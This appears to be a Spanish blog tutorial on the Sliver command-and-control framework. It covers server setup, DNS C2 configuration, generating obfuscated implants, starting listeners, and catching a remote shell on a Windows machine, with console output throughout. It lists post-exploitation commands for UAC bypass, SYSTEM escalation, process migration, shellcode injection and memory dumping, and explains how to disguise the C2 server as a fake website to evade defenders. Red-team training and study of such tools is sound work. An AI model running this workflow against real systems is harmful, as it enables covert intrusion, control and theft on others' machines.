Sliver: un framework para implants muy interesante

Sliver es un sistema de Comando y Control (C2) creado para pentesters, redteamers y APTs avanzadas. Genera implants o implantes (slivers) que pueden ejecutarse en pr谩cticamente todas las arquitecturas, y administrar estas conexiones de forma segura a trav茅s de un servidor central.

Sliver admite varios protocolos de callback, incluidos DNS, TCP y HTTP(S), para simplificar la conexi贸n callback, incluso cuando esos molestos equipos azules bloquean dominios. Tambi茅n es posible tener m煤ltiples operadores (jugadores) al mismo tiempo al mando de tu ej茅rcito de slivers.



¿Por qu茅 Sliver y no Cobalt Strike, Metasploit u otros sistemas C2?

Sliver tiene muchas caracter铆sticas que otras herramientas C2 no tienen, como:

- Generaci贸n de c贸digo din谩mico con ofuscaci贸n por binario (en tiempo de compilaci贸n).
- Inyecci贸n de procesos local o remota.
- Asegura las conexiones cifradas del implante al servidor C2 (mTLS, HTTP(S) y DNS) y anti-anti-anti-forensics.
- Migraci贸n de procesos de Windows y manipulaci贸n de tokens de usuario.
- Soporta m煤ltiples operadores controlando simult谩neamente sus implantes.
- Autocompletado. Registro de auditor铆a completo en el lado del servidor.
- M煤ltiples y extensibles protocolos egress.
- Integraci贸n con Let's Encrypt.
- Ejecuci贸n en memoria .NET assembly.
- DNS Canary Blue Team Detection
- Es completamente de c贸digo abierto (licencia GPLv3).

Instalaci贸n del servidor

El servidor es compatible con Linux, Windows y MacOS. Sin embargo, se recomienda ejecutar el servidor en un host Linux porque algunas funciones pueden ser m谩s dif铆ciles de ejecutar en un servidor Windows o MacOS, aunque todas las funciones b谩sicas integradas deber铆an funcionar bien.

Hay dos opciones, descargar la 煤ltima versi贸n para nuestra plataforma y simplemente ejecutar el binario o compilarlo nosotros mismos desde la fuente:

1. https://github.com/BishopFox/sliver/releases   
2. https://github.com/BishopFox/sliver/wiki/Compile-From-Source

La primera vez que ejecutemos el servidor tendr谩 que desempaquetar algunos activos, lo que puede demorar un minuto o dos, los inicios posteriores deben ser m谩s r谩pidos.

NOTA: Sliver tiene dos dependencias externas para caracter铆sticas opcionales: MinGW y Metasploit. Para habilitar los payloads de Shellcode/staged necesitaremos instalar MinGW. Para habilitar las integraciones de MSF necesitaremos que Metasploit est茅 instalado.

El Docker de Sliver est谩 dise帽ado principalmente para ejecutar pruebas unitarias, pero incluye tanto MinGW como Metasploit. Si planeas ejecutar el servidor utilizando Docker, deber谩s reenviar los puertos TCP correspondientes (por ejemplo, 80, 443, 31337).

DNS C2

Se recomienda realizar los siguientes pasos para configurar un dominio para DNS C2 (y DNS canary). Se puede usar cualquier proveedor de DNS que se desee siempre y cuando se configuren los registros correctamente. Tambi茅n se recomienda establecer un TTL de ~5 minutos para cada registro.

- Crear un registro A para example.com que se帽ale la direcci贸n IP del servidor Sliver (o redirector).
- Crear un registro A para un subdominio ns1 (es decir, ns1.example.com) que apunte a la direcci贸n IP del servidor Sliver (o redirector).
- Crear un registro NS con un subdominio arbitrario, por ejemplo 1 (es decir, 1.example.com) que es administrado por ns1.example.com.
     Ahora puede usar 1.example.com como su dominio DNS C2, por ejemplo. generar --dns 1.example.com

La configuraci贸n final debe verse como para el dominio lil-peep.rip:


DNS Canaries

Los DNS Canaries son dominios 煤nicos para cada binario que se insertan opcionalmente durante el proceso de ofuscaci贸n de strings. Estos dominios no son realmente utilizados por el c贸digo del implante y no est谩n deliberadamente ocultos para que aparezcan si alguien ejecuta strings en el implante. Si estos dominios se resuelven alguna vez (y se tiene un detector de dns en ejecuci贸n), se recibir谩 una alerta que indicar谩 qu茅 un binario espec铆fico fue descubierto por un blue team.

Ejemplo de comando de generaci贸n con canarios, debemos de asegurarnos de usar el FQDN:
sliver > generate --http foobar.com --canary 1.example.com.

Debemos asegurarnos de tener un listener DNS en ejecuci贸n y usar el FQDN:
sliver > dns --domains 1.example.com.

[*] Starting DNS listener with parent domain(s) [1.example.com.] ...
[*] Successfully started job #1

Se pueden ver los canarios generados previamente con el comando canaries.

Generando implantes

La generaci贸n de implantes se realiza mediante el comando generate, debemos especificar al menos un endpoint C2 con --mtls, --http o --dns. Tenemos que tener en cuenta que cuando un implante intente conectarse a un endpoint especificado con --http, intentar谩 con HTTPS y luego con HTTP (si falla HTTPS). Se recomienda utilizar TLS mutuo (--mtls) siempre que sea posible. Tambi茅n se puede especificar un directorio de salida con --save (de forma predeterminada el implante se guardar谩 en el directorio de trabajo actual).
sliver > generate --mtls example.com --save Pruebas

[*] Generating new windows/amd64 Sliver binary
[*] Symbol obfuscation is enabled, this process takes about 15 minutes
[*] Build completed in 00:03:55
[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/JEWISH_TWIG.exe

IMPORTANTE: El proceso de ofuscaci贸n de s铆mbolos puede tardar m谩s de 15 minutos en completarse, seg煤n los recursos de la CPU de la m谩quina. Se puede omitir este paso con --skip-symbols pero una gran cantidad de informaci贸n incompleta terminar谩 en los binarios que se generan. Solo se debe usar esta bandera si estamos jugando, o si no importa el sigilo.

Los implantes de Sliver son multiplataforma, se puede cambiar el objetivo del compilador con la marca --os:
sliver > generate --mtls example.com --save Pruebas --skip-symbols --os Windows

[*] Generating new windows/amd64 Sliver binary
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:04
[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/FANTASTIC_STORY-TELLING.exe

El servidor tambi茅n asignar谩 nombres de c贸digo a cada binario generado, es decir, FANTASTIC_STORY-TELLING.exe, podremos cambiar el nombre del archivo a cualquier cosa que necesite, pero estos nombres de c贸digo seguir谩n identificando de forma 煤nica el binario generado (se insertan en tiempo de compilaci贸n). Tambi茅n se pueden ver todos los archivos binarios de implantes generados anteriormente con el comando slivers:
sliver > slivers

Name                     OS/Arch        Debug  Format
====                     =======        =====  ======
FANTASTIC_STORY-TELLING  windows/amd64  false  EXECUTABLE
JEWISH_TWIG              windows/amd64  false  EXECUTABLE
NEAT_PRODUCT             windows/amd64  false  EXECUTABLE

Si necesitamos volver a descargar un implante generado previamente, podremos el comando regenerate:
sliver > regenerate --save Pruebas NEAT_PRODUCT

[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/NEAT_PRODUCT.exe

Obtenci贸n de shells

Antes de poder capturar una shell, primero deberemos iniciar un listener. Podemos utilizar los comandos mtls, http y dns para iniciar listeners para cada protocolo (http tambi茅n se usa para HTTPS). Podemos usar el comando jobs para ver y administrar los listeners que se ejecutan en segundo plano.
sliver > mtls

[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > jobs

ID  Name  Protocol  Port
==  ====  ========  ====
1   mTLS  tcp       8888

En este ejemplo, estamos utilizando Mutual TLS, los certificados necesarios para configurar y asegurar esta conexi贸n ya se han generado en segundo plano y el par de certificados de cliente se integr贸 en el implante en el momento de la compilaci贸n. As铆 que para obtener una shell solo tenemos que ejecutar el binario en el destino.
[*] Session #1 JEWISH_TWIG - 192.168.122.229:49992 (DESKTOP-CR8PTQ1) - windows/amd64

[*] Session #2 FANTASTIC_STORY-TELLING - 192.168.122.229:49995 (DESKTOP-CR8PTQ1) - windows/amd64

sliver > use 1

[*] Active sliver JEWISH_TWIG (1)
sliver (JEWISH_TWIG) > help

Commands:
=========
  clear  clear the screen
  exit   exit the shell
  help   use 'help [command]' for command help

Generic:
========
  background        Background an active session
  canaries          List previously generated canaries
  dns               Start a DNS listener
  generate          Generate a sliver binary
  generate-egg      Generate an egg shellcode (sliver stager)
  generate-profile  Generate Sliver from a profile
  http              Start an HTTP listener
  https             Start an HTTPS listener
  jobs              Job control
  mtls              Start an mTLS listener
  new-profile       Save a new sliver profile
  profiles          List existing profiles
  regenerate        Regenerate target sliver
  sessions          Session management
  slivers           List old Sliver builds
  use               Switch the active sliver
  websites          Host a static file on a website (used with HTTP C2)

Multiplayer:
============
  kick-player  Kick a player from the server
  multiplayer  Enable multiplayer mode
  new-player   Create a new player config file
  players      List players

Sliver - Windows:
=================
  elevate           Spawns a new sliver session as an elevated process (UAC bypass/Windows Only)
  execute-assembly  Loads and executes a .NET assembly in a child process (Windows Only)
  getsystem         Spawns a new sliver session as the NT AUTHORITY\SYSTEM user (Windows Only)
  impersonate       Run a new process in the context of the designated user (Windows Only)
  migrate           Migrate into a remote process

Sliver:
=======
  cat                Dump file to stdout
  cd                 Change directory
  download           Download a file
  execute-shellcode  Executes the given shellcode in the sliver process
  getgid             Get Sliver process GID
  getpid             Get Sliver pid
  getuid             Get Sliver process UID
  info               Get info about sliver
  kill               Kill a remote sliver process
  ls                 List current directory
  mkdir              Make a directory
  msf                Execute an MSF payload in the current process
  msf-inject         Inject an MSF payload into a process
  ping               Test connection to Sliver (does not use ICMP)
  procdump           Dump process memory
  ps                 List remote processes
  pwd                Print working directory
  rm                 Remove a file or directory
  shell              Start an interactive shell
  upload             Upload a file
  whoami             Get Sliver user execution context
sliver (JEWISH_TWIG) > whoami

DESKTOP-CR8PTQ1\john

sliver (JEWISH_TWIG) > shell

? This action is bad OPSEC, are you an adult? Yes
[*] Opening shell tunnel (EOF to exit) ...

PS C:\Users\john\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState>

Dominios / Protocolos M煤ltiples

Podemos especificar m煤ltiples dominios y protocolos m煤ltiples durante el proceso de generaci贸n. En este momento, Sliver intentar谩 usar los productos de mayor rendimiento primero (MTLS -> HTTP (S) -> DNS) usando dominios / protocolos posteriores cuando las conexiones fallan.
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip

Eventualmente, agregaremos una funci贸n para especificar manualmente los protocolos de respaldo, o se puede agregar esta funci贸n y enviar un PR :).

HTTP(S) C2

Sliver admite C2 compatibles con proxy a trav茅s de HTTP y HTTPS. Sin embargo, dado que Sliver no depende de la capa SSL/TLS para la seguridad, estos protocolos se consideran algo "sin贸nimos".

Generar el Sliver (implant)

Los implantes de Sliver se compilan con un dominio de servidor baked-in (pero ofuscado, por supuesto) al que volver谩n a contactar. Para generar un implante que se comunica con un servidor en example.com, debemos ejecutar lo siguiente:
sliver > generate --http example.com

Iniciar el Listener
sliver > http

sliver > https

Contenido est谩tico

Sliver puede instalar un sitio web en su listener HTTP(S) para que el servidor parezca m谩s leg铆timo. Por ejemplo, podr铆amos poner una p谩gina de 铆ndice de IIS predeterminada e imitar a un servidor de aspecto normal en caso de que alguien venga a husmear. Se puede gestionar el contenido est谩tico utilizando el comando websites.
websites --website fake-blog --web-path / --content ./index.html add

Certificados SSL/TLS

El servicio de listener http tambi茅n admite certificados TLS autom谩ticos a trav茅s de Let's Encrypt, que pueden habilitarse utilizando el indicador --lets-encrypt.
sliver > https --domain example.com --lets-encrypt

M谩s info en la wiki y el repo del proyecto:

https://github.com/BishopFox/sliver

Comentarios